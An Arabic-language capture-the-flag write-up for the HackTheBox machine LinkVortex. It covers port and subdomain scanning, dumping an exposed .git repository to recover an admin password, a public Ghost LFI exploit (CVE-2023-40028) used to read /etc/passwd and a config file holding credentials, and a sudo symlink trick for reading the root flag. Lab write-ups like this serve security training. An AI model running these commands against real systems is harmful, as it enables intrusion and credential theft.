> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# شرح LinkVortex HackTheBox

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف النطاقات الفرعية
* استخراج المعلومات من دليل .git (Git-Dumper)
* تسرب المعلومات
* استغلال ثغرة LFI (Ghost)
* إساءة استخدام امتيازات Sudo عبر سكربت (رابط رمزي مزدوج)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/c80ef786ff6f1c8a3ca8eb1f45feb7ce04110e1e" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/224b45642267fadb12fcb1f20fdfc14c25697baa" alt=""><figcaption></figcaption></figure>

**إعداد ملف /etc/hosts**

نضيف عنوان IP الخاص بالهدف إلى `/etc/hosts` الملف لتسهيل عمليات حلّ DNS المحلية.

<figure><img src="/files/5e9e85aaa7e84f97d4717f0fb804bc489e2ae628" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="/files/729c50ca58e1a6ffd3b5c96d99ee957b48c89149" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

<figure><img src="/files/8de81f3bc4a70bf356898d44b80cae71dd20dfdc" alt=""><figcaption></figcaption></figure>

### **المنفذ 80**

<figure><img src="/files/9a34b4c8860d03b5a44be2a4656aa6f61e795844" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="/files/21652a9d5191814c57d582779c30a7c2debb22ef" alt=""><figcaption></figcaption></figure>

### **استكشاف الأدلة**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="/files/7e9c36346d51cbb870c78229dd72be5a01f3312d" alt=""><figcaption></figcaption></figure>

### لوحة الإدارة - Ghost

<figure><img src="/files/e0324b3c24fc153f9204dbb4ef2e309599e8be66" alt=""><figcaption></figcaption></figure>

### **اكتشاف نطاق فرعي**

نبحث عن النطاقات الفرعية المرتبطة بـ `linkvortex.htb` باستخدام gobuster.

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

نعثر على النطاق الفرعي `dev.linkvortex.htb`. هذا هو الأمر لتنفيذ هذا البحث:

<figure><img src="/files/a01f73bde2385ba54d4883f899cf005aca6fa837" alt=""><figcaption></figcaption></figure>

بمجرد العثور على النطاق الفرعي، نضيفه إلى `/etc/hosts` الملف لتسهيل الوصول:

<figure><img src="/files/bd670c502a6bede895fc31d3837c68ffd4fb6a6c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/894414108f917bab753b1acebff250c35d39c5cf" alt=""><figcaption></figcaption></figure>

#### **البحث عن الأدلة في النطاق الفرعي الجديد**

نبحث عن الأدلة الموجودة على `dev.linkvortex.htb` النطاق الفرعي باستخدام `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

نكتشف `.git` الدليل، والذي قد يشير إلى مستودع Git مكشوف.

<figure><img src="/files/d3ff223fcd1da55a558afd18380ab62d77417c66" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/efdc8b7de9d3d4200a6847352f1deb2c0e543206" alt=""><figcaption></figcaption></figure>

### **استخراج الملفات باستخدام Git-Dumper**

نستخدم `git-dumper` لاستخراج الملفات من `.git` الدليل وتحليلها:

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="/files/9a25754babe038a03f2490c5cff167af4637ab46" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f417c6e49547f227e71b77bd026e7c027739a758" alt=""><figcaption></figcaption></figure>

يتيح لنا ذلك الحصول على ملفات حساسة، بما في ذلك ملف اختبار موجود في `ghost/core/test/regression/api/admin/authentication.test.js`، حيث نجد كلمة مرور:

<figure><img src="/files/604d67f6564585ed676c9b10beb74a7c4b0260fb" alt=""><figcaption></figcaption></figure>

**تم العثور على كلمة المرور:**

```parser
OctopiFociPilfer45
```

<figure><img src="/files/45810fc76c8c4d1f5a951c16555875a6b8eb5034" alt=""><figcaption></figcaption></figure>

### **تسجيل الدخول إلى لوحة إدارة Ghost**

باستخدام هذه الكلمة المرور، نحاول الاتصال بلوحة إدارة Ghost باستخدام عنوان البريد الإلكتروني `admin@linkvortex.htb` :

* **البريد الإلكتروني** : `admin@linkvortex.htb`
* **كلمة المرور**: `OctopiFociPilfer45`

<figure><img src="/files/324463b814b2571e85c0f466e71c9db41c9f2a00" alt=""><figcaption></figcaption></figure>

## ثغرة Ghost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="/files/a0d3d2260a51e07be257abd5c13f187830e2cebf" alt=""><figcaption></figcaption></figure>

> أثناء فحص المنافذ، حدّدنا أن إصدار Ghost المستخدم (v5.58) يعاني من ثغرة LFI (تضمين الملفات المحلية)، والمعرّفة بالرمز CVE-2023-40028. لاستغلال هذه الثغرة، نقوم بتنزيل سكربت الاستغلال وتعديل عنوان URL المستهدف ليشير إلى نسخة Ghost الخاصة بنا.

<figure><img src="/files/7cbc82c3b612915ec87a234e0cff19430b154952" alt=""><figcaption></figcaption></figure>

هذا هو الأمر لتشغيل الاستغلال:

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

ثم نحصل على shell ويمكننا عرض ملفات مثل `/etc/passwd`.

<figure><img src="/files/8f2cfbbbfdf247eda0c8be94ad535075ea6369a9" alt=""><figcaption></figcaption></figure>

**الوصول إلى مسار داخلي عبر LFI**

في `.git` الدليل، رصدنا ملف Docker يزوّدنا بمسار داخلي للوصول إلى جلسة: `/var/lib/ghost/config.production.json`.

<figure><img src="/files/935b078d4786b57aeea2d832b17f5df26f8cd9d8" alt=""><figcaption></figcaption></figure>

نستخدم LFI لسرد الملفات والعثور على بيانات اعتماد مستخدم يُدعى Bob:

<figure><img src="/files/21873d259029520fe0f1e370158eafcfcc49d397" alt=""><figcaption></figcaption></figure>

**بيانات اعتماد Bob:**

* **المستخدم**: `bob@linkvortex.htb`
* **كلمة المرور**: `fibber-talented-worth`

نتصل بالجهاز المستهدف عبر SSH باستخدام بيانات اعتماد Bob:

### الراية user.txt :)

نستخدم كلمة المرور `fibber-talented-worth` لتسجيل الدخول والوصول إلى الملف `user.txt`، حيث نجد العلم.

<figure><img src="/files/83436a43b26a3addc5baf3f097ea419bcdfdc283" alt=""><figcaption></figcaption></figure>

## العلم root.txt :)

### SUDO - Clean/\_synLink.sh

نبحث عن ثغرة تسمح بتصعيد الصلاحيات. نكتشف ملفًا بصلاحيات SUID.

<figure><img src="/files/9519b054d6385bf6093ee26b0966b7a08e6e9c72" alt=""><figcaption></figcaption></figure>

#### **تحليل سكربت تنظيف الروابط الرمزية**

> نحلل سكربتًا باسم `clean_symlink.sh`، والذي يتحقق مما إذا كان الملف الممرَّر كوسيط هو رابطًا رمزيًا يشير إلى ملف `.png` إذا كان الرابط الرمزي يشير إلى ملف حرج، يحذفه السكربت. وإلا فإنه ينقل الرابط الرمزي إلى الدليل `/var/quarantined/` إذا كانت `CHECK_CONTENT` متغير البيئة مضبوطًا على `true`، يحاول السكربت قراءة محتويات الملف.

هذا هو الأمر لإنشاء الروابط الرمزية اللازمة للاستغلال:

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

ثم نشغل السكربت بالأمر التالي للحصول على علم الجذر:

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

وبذلك نحصل على `root.txt` العلم.

<figure><img src="/files/a44f25229a9d216e100d55b6f65b36d879ee6b40" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f3e0944af44f48b04953938d0592216e96658b13" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
